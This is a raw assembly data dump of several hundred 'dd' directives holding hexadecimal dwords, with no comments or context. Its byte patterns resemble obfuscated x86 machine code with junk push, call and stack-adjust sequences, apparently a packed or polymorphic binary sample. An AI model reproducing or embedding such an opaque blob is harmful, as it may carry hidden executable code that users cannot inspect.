dd 8DBF6600h, 0C9E3807Fh, 36BE6096h, 6141ED99h, 6840F50h
dd 0F000000h, 8Ch, 25BB9600h, 0FF4FE59Fh, 6A734B5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 1CCC1331h, 36A1D62Bh, 5BD294Ch, 0FF06030Ch, 32F1995h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0C04D20C5h, 496F0043h, 0D9BF0F03h, 0A728B58Bh
dd 31600606h, 331C9BDh, 0F1806006h, 8DBD0B06h, 61060324h
dd 1D858B61h, 81060331h, 0E98221EBh, 0C486894Dh, 8B000000h
dd 31A1D9Dh, 519D0106h
dd 8B060331h, 331D195h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0C2833F92h, 28E0F04h
dd 8B000000h, 205089DFh, 0B8C4BF66h, 0BBF3858Dh, 85310606h
dd 6032625h, 0B88689h, 9D8B0000h, 6032E45h, 9E8006Ah, 0C3000000h
dd 16363A5h, 85200DBBh, 84C153BFh, 0B5FF5F31h, 606A734h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 31C35040h
dd 8CAE6F4Fh, 850FE286h, 6, 2C019529h, 95FF0603h, 6031CB1h
dd 0CCC78166h, 506050C2h, 8D0F52h, 0F000000h, 0CABE6631h
dd 0BF585AC7h, 433C9BF5h, 24348961h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 8C35545h, 76479775h, 81FA8B66h
dd 6FA9CCD7h, 34B5FF14h, 6A0606A7h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 5EF5C350h
dd 8B00D7B9h, 30CD19Dh, 6595FF06h, 66060311h, 833339BFh
dd 31795BDh, 840F0006h, 39h, 96DBB70Fh, 0C458BB50h, 6A9616EEh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0CFA3C356h, 5F69075Fh, 0FCD0DCF1h, 8B19C780h
dd 304E5BDh, 34B5FF06h, 6A0606A7h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0EB81C357h
dd 0CCF69BB0h, 9A49C411h, 22C672BFh, 6195FF2Fh, 6A060306h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 4C73C356h, 8B5FA332h, 14288ECh, 313EDB5h
dd 34B5FF06h, 6A0606A7h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 1F6AC356h, 0ACA8A110h
dd 0FFFE8B2Ch, 30AE195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 6860F16h, 31000000h, 311BD8Dh
dd 8DBD8306h, 2060321h, 38840Fh, 8B660000h, 0FD858BF9h
dd 6A060301h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 2CCEC352h, 1FA8CF81h, 0BF667677h
dd 0C61B05h, 54BCBB00h, 85C717C4h, 60330B9h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 7C35040h
dd 9D89BD82h, 6030455h, 0FFF340E9h, 52006AFFh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 5BE5D32Ah
dd 0D29A5D8Ch, 8E9h, 68690600h, 960D29CDh, 8AC18BDBh, 0C5BD8BDDh
dd 8D06031Ch, 3281185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 5760ADA5h, 1B19BD89h
dd 895E0603h, 32D719Dh, 9D8B6106h, 6032AA9h, 0BB665090h
dd 0F904143h, 582h, 0E7816600h, 6AA2BAh, 8DB58B60h, 2906031Eh
dd 31ADD85h, 6A6106h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 38C35141h, 6DD7FCCAh, 6AECED29h, 0D9D8BBDh
dd 8D060321h, 7D66885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 7224AD4h, 83504AB2h, 6A05C0h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0F396EC3h, 289h, 50DA8B00h, 489F98Ah, 0EFEF8124h, 6A16887Ah
dd 0FE900h, 0F52D0000h, 486D64EBh, 18725AA5h, 977769AFh
dd 6AFE8A59h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 6E4FCA3Dh, 0B5943815h, 0BD8B71E4h
dd 6031F05h, 0FFF98B66h, 30CC995h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 7ECC95C3h
dd 51A18EFEh, 20DBD8Bh, 8D5B0603h, 697478Dh, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0DB8038C7h, 6AD1FF27h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 1B12C352h, 0DABF0F3Ah
dd 1E91BD83h, 0F010603h, 6B85h, 11858900h, 6A060302h, 52006A02h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 8B586D34h, 0B85D627h, 28758D89h, 8B500603h, 240489D8h
dd 1CB195FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 0A3D8ACC3h, 7B70FCBDh, 7E9h, 0C7C0B100h
dd 507B9DB7h, 0D6CE9h, 0E800h, 815D0000h, 7D672EDh, 0E9858906h
dd 6A06032Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 725FC356h, 0F65456Bh, 685h, 0C68B6000h
dd 8D615951h, 6888985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 50AA3D23h, 0FF28B60h
dd 680h, 8D0F00h, 61000000h, 6A240489h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0E416C353h
dd 8E956D8h, 33000000h, 0EF773182h, 5BD9C197h, 35FF64h
dd 66000000h, 9D42EF81h, 258964h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 0C52C351h, 0DD71C78h, 0A96FBF66h, 0A880Fh, 0B1600000h
dd 0B1B58976h, 61060309h, 2A1585FFh, 0FF6A0603h, 6E9h
dd 0F64A5000h, 0FF71531Dh, 3324DB5h, 8CCEBB06h, 95FF6236h
dd 6032015h, 12DE9h, 51EF8100h, 66373826h, 0B0F88Bh, 0DE9h
dd 0D636DB00h, 94875606h, 0B373EB5Ah, 70E69510h, 7E9h
dd 3A94A700h, 0E61EB1D8h, 5D25BB66h, 0BB6671E4h, 0BF667713h
dd 613C9608h, 0EC830Fh, 0BD010000h, 6032E25h, 5E8h, 5FC7D800h
dd 9529150Fh, 6032D3Dh, 0C8B60F5Bh, 90DF8166h, 0F8BF0FFEh
dd 6BAh, 0B5896000h, 6030081h, 8B6162B1h, 0C1D88BC1h, 816604E8h
dd 662AF5F7h, 0BB66E2F7h, 0C82B0DFDh, 66D18BF9h, 9BE9DA8Bh
dd 89000000h, 31CB58Dh, 69958906h, 8B060309h, 485h, 4EF2BB00h
dd 0C08312A2h, 0EACABB07h, 0C08376A0h, 0D99D8B00h, 3B060331h
dd 0F830FD0h, 89000000h, 32559BDh, 60E906h, 0BB660000h
dd 8D8B9DADh, 0FFFFFFFFh, 12E9h, 5599F800h, 3D193232h
dd 0CCC16018h, 0B2BA78CAh, 83A5C05Fh, 840F01E1h, 36h, 9E9h
dd 0A6004400h, 10A70EEAh, 0A583BD99h, 0FFFFFFFFh, 6E9FEh
dd 0A8740000h, 9E427F89h, 49589h, 95890000h, 6030CA5h
dd 2D40C2BBh, 0E952h, 0B58D0000h, 60754A7h, 68B0F60h, 31000000h
dd 30F3D95h, 9AB86606h, 6A61B5h, 28B0Fh, 0DF8B0000h, 1FB995FFh
dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 403A6CC3h, 957F52E4h, 893CB7E0h, 32ECD95h
dd 1084B906h, 860F0000h, 5, 7EE38166h, 0FCE18317h, 28259589h
dd 0FFC0603h, 0C02BFABFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 63C35646h, 0E9E17837h, 0E8A526B3h, 0F7BB6628h
dd 0BA03h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 9D8BEFC3h, 60313DDh, 0D1C233ADh
dd 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 83C35343h, 0D316A3DBh, 0C84554D1h, 559D015Ch
dd 29060322h, 311F1B5h, 0E7E38106h, 0D74B6E5h, 88h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2BC35545h, 0A29F5524h
dd 858B6050h, 6031F69h, 2279B58Bh, 5F610603h, 1E51B529h
dd 958B0603h, 60331D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 36C35545h, 0FF6B1C0Ch, 0AE985h, 6E70000h
dd 6F37E015h, 56A1F6E6h, 1E18D8Bh, 6A0603h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 58BADEC3h
dd 0FE8BD27Eh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 0B7BB5818h, 6A14EA6Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 0C336C351h, 19FFCFh
dd 0DEBF0F65h, 1D65BD83h, 0F000603h, 0BA84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 2D9D09FCh, 0BF060313h, 4948B8h, 0B8h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 7EEED8B1h, 0E9EAE3A8h, 0Ch, 964F6285h, 0E8C06C35h, 35A223BDh
dd 4D1C8D8Dh, 0EE90603h, 73000000h, 29A52139h, 9B4C6A95h
dd 0EE580AD2h, 0CE857FEh, 0A9000000h, 81B57BE0h, 3EBBBC27h
dd 0BB1329FBh, 7888324Ch, 0E1FF5B5Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0BAC35141h, 0DEFAE468h, 8166BA26h
dd 83167EEFh, 321BDBDh, 840F0006h, 3E6h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 16h, 47C35646h, 0F88A61D5h
dd 21BDBD83h, 0F010603h, 3D484h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 5FEF8F22h
dd 898EC367h, 3243195h, 0BDBD8306h, 3060321h, 369860Fh
dd 0BD8B0000h, 6031C59h, 49B52960h, 66060326h, 8166D98Ch
dd 803787C3h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 0FA77D6C3h, 0B7E3E36Fh, 8973F4C9h
dd 3234195h, 0FC90A06h, 13A84h, 499D8B00h, 8B060329h, 313C185h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 5185D46Fh, 853309C4h, 6031C79h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 74C35141h, 5790F974h
dd 5BFB8B66h, 0BB525050h, 730C1AFAh, 0FE9310Fh, 0DE000000h
dd 0F7B22B6h, 878EECF1h, 0FC5C079Ch, 585A45E1h, 56006A90h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 4EFBA50Bh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 9ADFCC3h, 992E7378h, 68E2DF80h
dd 0CF867CB3h, 6E95160h, 47000000h, 19C04300h, 81615B13h
dd 874C2404h, 6A3098h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 816675C3h, 0FF314BC7h, 3140595h
dd 0B8DB8106h, 896CAECAh, 6A73485h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 96E9DB88h
dd 0F000001h, 688h, 0D9D8900h, 8B060328h, 6A72C85h, 0DA8B6606h
dd 1800C7h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 0CF81C3C3h, 195BC334h, 0A730B58Bh
dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 0E33B2EC3h, 6B7C9FCFh, 599D8B9Fh, 6606031Ah
dd 8BD01EBFh, 3128D85h, 25BD8906h, 8906030Bh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 559D893Eh, 50060302h, 0C91BD8Bh, 8B5F0603h, 313C185h
dd 0B9BD8B06h, 8906030Fh, 0BD890446h, 6031799h, 8870F96h
dd 0F000000h, 28Eh, 50616000h, 5E8h, 71FE0B00h, 52504F63h
dd 800Fh, 310F0000h, 585A6160h, 8D89965Fh, 603175Dh, 0A72CB5FFh
dd 81660606h, 684583EFh, 141FC3ECh, 3481A8B3h, 0C01324h
dd 34858D14h, 6A0606A7h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 791CC353h, 0BD9D311Dh
dd 50060320h, 0CE8h, 0A17F900h, 0C9583EBh, 0E9B96805h
dd 0DA8B66BBh, 2404895Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0DAC35040h, 0EB81661Bh, 95FFF2A0h, 6031405h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3BC35747h
dd 897FA85Ah, 3138585h, 0B70F6106h, 0BD85C7FAh, 3060321h
dd 81000000h, 0A9BC8DCFh, 34BD837Bh, 606A7h, 39840Fh, 14E80000h
dd 17000000h, 748EDB40h, 0BDF2E84Fh, 9AB52A75h, 0ED5A6E3Ah
dd 0F3AA3DFh, 28Fh, 5B5B5200h, 2DE9h, 8C0F5700h, 2, 605F5F50h
dd 68D958Bh, 50610603h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 8D89B3C3h, 603010Dh
dd 7761BF66h, 21BDBD83h, 0F030603h, 3FE85h, 34BD8300h
dd 606A7h, 3F1840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 2CEA8CC3h, 0FFFFB70Fh
dd 6A734B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 9807E8EAh, 44239F5Ch, 8F8BF51h, 13E80CCDh
dd 26000000h, 0B47E623Ah, 0CC9F5F17h, 0F4BE5DC8h, 75D697CEh
dd 860FAE95h, 6, 0B7D8509h, 0FF5F0603h, 32E0595h, 850F06h
dd 8B000000h, 6A728B5h, 69853106h, 0C706032Ah, 1000106h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 33895F71h, 312699Dh, 0B5B58906h, 50060330h
dd 51605250h, 310F615Eh, 68EEBF66h, 3489585Ah, 0F3816624h
dd 0B5FFBB23h, 606A734h, 80FFB70Fh, 95FF1BD7h, 6032F19h
dd 56BE781h, 0B58B5EDFh, 606A728h, 0C547BB66h, 311D858Bh
dd 0BD8B0603h, 6030B25h, 0C48689h, 8B600000h, 0B19D8BDEh
dd 61060326h, 10E9h, 530A6F00h, 1184EAB4h, 0D6E5742Ch
dd 292D26ABh, 0D1958BADh, 0E8060331h, 6, 50F5F0B4h, 9589638Eh
dd 6031031h, 4C2835Fh, 0FE9h, 74ACD000h, 0CA232565h, 0C5545175h
dd 53D47DBAh, 0E9205089h, 7, 6779F64Eh, 8D3E140Dh, 6BBF385h
dd 0F7816606h, 86892043h, 0B8h, 240DBD33h, 81660603h, 6AC0E5D3h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 811A8BADh, 1D9BED5Eh, 35852926h, 0F06032Ah
dd 681h, 0DD9D8B00h, 0FF060313h, 6A734B5h, 72BB6606h, 0B195FFC6h
dd 8906031Ch, 3035585h, 96509606h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 22C35141h, 3C239731h, 24C287A4h
dd 9F5BD31h, 0B5FF0603h, 606A734h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 0E8C35141h, 2268C811h, 89FBBF0Fh
dd 31A1195h, 6595FF06h, 0B3060311h, 0BD83F5C7h, 6031795h
dd 3C840F00h, 0E9000000h, 12h, 40BD5F05h, 71C9FA01h, 0AF69F7D4h
dd 6BC61FB0h, 0BB505749h, 49A0111Bh, 89243489h, 30331BDh
dd 0AE806h, 7F2F0000h, 982142E8h, 5FFEB66h, 0DE68CF81h
dd 0FF5B0EACh, 6A734B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 313E517Fh, 603329DBh
dd 66CE8B66h, 61357DBAh, 66195FFh, 6A0603h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 51BFFFC3h
dd 1E17FFEh, 32AF58Dh, 5E906h, 2CC10000h, 0FF924844h, 6A734B5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 0E6D7EF37h, 8BA87CEEh, 323A5BDh, 0E195FF06h
dd 6A06030Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 4C31C356h, 8B151308h, 31210DA2h
dd 1ABDBD8Bh, 29600603h, 313DDB5h, 958B5006h, 60305ADh
dd 0BD83615Bh, 603218Dh, 4F840F02h, 60000000h, 244CBBB8h
dd 10E916h, 0A7CF0000h, 0F6D2AF9Bh, 80F986F5h, 19983A54h
dd 8B6142FBh, 301FD85h, 399D8B06h, 0C6060300h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0E2AD37C3h, 0B50245F6h, 85C7C502h, 60330B9h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0BFC35040h
dd 55A615D4h, 12E9h, 0A38E9000h, 250583DBh, 75C2BE03h
dd 0C90BC1D9h, 0E9F8B500h, 0FFFFF3AEh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 92C35040h, 5C930BC3h, 33C18B48h
dd 30469BDh, 11858D06h, 0F060328h, 6690D8B7h, 6650FA8Bh
dd 6A90DA8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 74D3C353h, 0A19B51F2h, 0A7E82ABBh
dd 89006A6Ch, 321998Dh, 0BB006A06h, 5A680B65h, 0E55E858Dh
dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 0BD8B18C3h, 6032341h, 8B05C083h, 665790DFh
dd 505BFA8Bh, 820Fh, 66900000h, 7E64E781h, 6A006Ah, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0DEE026C3h, 8B66006Ah, 0C995FFFAh, 8906030Ch, 3117195h
dd 478D8D06h, 6A060697h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 239EC356h, 32EA9BDh
dd 83D1FF06h, 31E91BDh, 850F0106h, 96h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 82C35545h, 67BC13E1h
dd 40938F16h, 79BD8B87h, 6A060331h, 75950902h, 90060304h
dd 9E9h, 14D6E400h, 0C6054A49h, 0B3507E11h, 6A9082h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0E25549C3h, 667B1D8Eh, 0FFB52DBFh, 31CB195h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0F85BB1BFh, 2A2DBD8Bh, 60E90603h, 0E800000Eh, 0
dd 68ED815Dh, 6A0607E5h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0F742C352h, 0F8078817h
dd 0BBC51083h, 6EFC353Dh, 80DF8166h, 89858D15h, 6A060688h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 86EFC351h, 0A0CDE993h, 0D830F97h, 0E9000000h
dd 8, 98E1694h, 0E383F99Bh, 1AC59589h, 56900603h, 5FBB505Bh
dd 903ACC3Fh, 2D65BD89h, 0FF640603h, 35h, 0E5BD8B00h, 64060322h
dd 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 9498CFC3h, 6CD88F55h, 8D8978D5h
dd 6031065h, 2A1585FFh, 6A0603h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 52C1EEC3h, 60D7E8DAh
dd 8E9h, 1635E000h, 0FE83FE8Dh, 0FEBF0FB9h, 0FE961h, 0D4160000h
dd 9604BB32h, 9AB1FC0Ch, 0F83472FEh, 0FFFF6A26h, 31A15B5h
dd 6810F06h, 8B000000h, 3062D9Dh, 1595FF06h, 0E9060320h
dd 10Dh, 0B0DE8Bh, 6800Fh, 0BD890000h, 6031349h, 0F70E6F5h
dd 89h, 2971E400h, 31035B5h, 9E806h, 9F170000h, 454BAE74h
dd 0BBD6B885h, 4B6D511Bh, 0F613C5Fh, 0D083h, 0AE800h, 0BAC0000h
dd 0DB22D68Ah, 4BD4D5A0h, 5BDEBF0Fh, 66C8B60Fh, 6BAD98Bh
dd 8B000000h, 859D8BC1h, 0C106031Dh, 0B58904E8h, 60309D5h
dd 23E2F766h, 30A79BDh, 81C82B06h, 0FD36A6EFh, 8BD18B09h
dd 3240D9Dh, 83E906h, 0BD8B0000h, 60331BDh, 4C44858Bh
dd 0B5895F4Ch, 6031E45h, 6607C083h, 9D8BDF8Bh, 60325D1h
dd 3B00C083h, 11830FD0h, 1000000h, 32D719Dh, 9DBF6606h
dd 4BE939h, 0DA8B0000h, 0FFFF8D8Bh, 8960FFFFh, 31D0995h
dd 9CBA6606h, 950961D6h, 6031305h, 0F01E183h, 2884h, 65BD3100h
dd 83060324h, 0FFFFFFA5h, 8166FEFFh, 8955B2E3h, 4C4C4495h
dd 0BF0F605Fh, 0D9529FBh, 6106031Bh, 0E9h, 2BB58D00h, 66060765h
dd 8B0EF6BFh, 6A006AFBh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 54C9C355h, 0FB315E7Dh
dd 0ADB47C7Ah, 9D32C781h, 95FF40BCh, 6031FB9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9C35747h, 0E3A3A8Eh
dd 12E877h, 0FD010000h, 986EE83Bh, 33F5E5EDh, 0A83C07BCh
dd 1480B9E1h, 0A29BD89h, 0B95F0603h, 1064h, 819D8Bh, 0E1830603h
dd 6AFCF9FCh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 0BEBBC350h, 92282CAh, 3012D8Dh
dd 0B806h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 0CA961AC3h, 0BAh, 0D59D2300h, 6606032Bh
dd 0ADC1B9BBh, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 0F84CC352h, 2AC2050Eh, 160315Ch, 331B59Dh, 0D9BF0F06h
dd 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 0AB77DD40h, 6F3D8671h, 880Dh, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 99B6F7DBh, 0EEB2C3ABh, 0F98B2150h, 31D1958Bh, 85B30603h
dd 1E18D8Bh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 47995AC3h, 7F8E34D8h, 1BA59D23h
dd 95890603h, 6031789h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 720A0CC3h, 0F9856C68h, 0F501B45h
dd 68Ch, 0ED952900h, 5F06031Fh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0C5C35242h, 0F2057E95h, 66CEC658h
dd 0BD83F98Bh, 6031D65h, 69840F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 0B8E9C352h, 0
dd 651B529h, 8D8D0603h, 6034D1Ch, 14E8h, 0BEBFA600h, 281957E6h
dd 3CA4E3E2h, 0D02ADD7h, 61BF4F81h, 58CF8154h, 5B656C93h
dd 8960E1FFh, 311598Dh, 6E806h, 0DEEC0000h, 1F952C20h
dd 30419D89h, 615B0603h, 21BDBD83h, 0F000603h, 49384h
dd 0BFD98A00h, 657B4690h, 21BDBD83h, 0F010603h, 49A84h
dd 0A4FEBB00h, 0BD8324B2h, 60321BDh, 52860F03h, 29000004h
dd 30C798Dh, 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0A23863C3h, 68C0Fh, 0E7810000h
dd 39158DC8h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 676EC357h, 92E39028h
dd 0B4C9773Bh, 118C0F57h, 0E8000000h, 0Bh, 297DC1D3h, 946FD55Dh
dd 5F616122h, 0DB81665Fh, 0E1809563h, 52006A04h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 94B31768h, 11958B60h, 8B060306h, 0C90A61F9h, 17D840Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 0F694E3C3h, 9D299A77h, 6032EB1h, 1381BD03h
dd 858B0603h, 60313C1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 25C35747h, 33195FC1h, 31C7985h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0EED0BB03h, 0BB500FB7h, 0A223305h, 0E8240489h, 7, 0B7EF97EDh
dd 29295335h, 30A299Dh, 6A5F06h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 0F7C35040h, 2AFD9647h, 8C0F190Dh
dd 5, 0E5EE9EBBh, 8526686Ch, 840F4188h, 2, 3481FE8Ah, 9786D924h
dd 55006A41h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0F551492h, 0FFDF8BABh, 3140595h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0FDE800E6h, 8166725Ch, 89D8DEF7h, 6A73485h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 6639FFAFh, 8C72DF81h, 1CAE9h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 85A605EAh
dd 746E6C5Bh, 18BB7D6Fh, 8B1BBFB8h, 6A72C85h, 0ED9D2306h
dd 52060310h, 1800C75Fh, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0CA94C352h
dd 7D0E20B0h, 0CEA393C0h, 30B58BF5h, 0F90606A7h, 128D858Bh
dd 0FA8B0603h, 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 81662FC3h, 8B48D2E3h, 313C185h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0CE8F9h, 76510000h, 6F47F624h, 40ABA8F6h
dd 0FB8B302Fh, 68A0F5Fh, 8B000000h, 3280D9Dh, 4468906h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0A2C35545h
dd 0D98BB4E4h, 0BB665096h, 6A96C0FAh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0D04EC356h
dd 6B3BF6B0h, 805668ECh, 0B5FF89EBh, 606A72Ch, 28359D8Bh
dd 17680603h, 50211D66h, 0AE852h, 73300000h, 0FCA532E6h
dd 83D0918h, 11E8h, 60830800h, 9824D082h, 8EFCD3D3h, 505B4917h
dd 5B5F0634h, 585A310Fh, 0E8243481h, 29210265h, 301EDBDh
dd 34858D06h, 500606A7h, 310F5250h, 0C7C236BFh, 89585A0Fh
dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
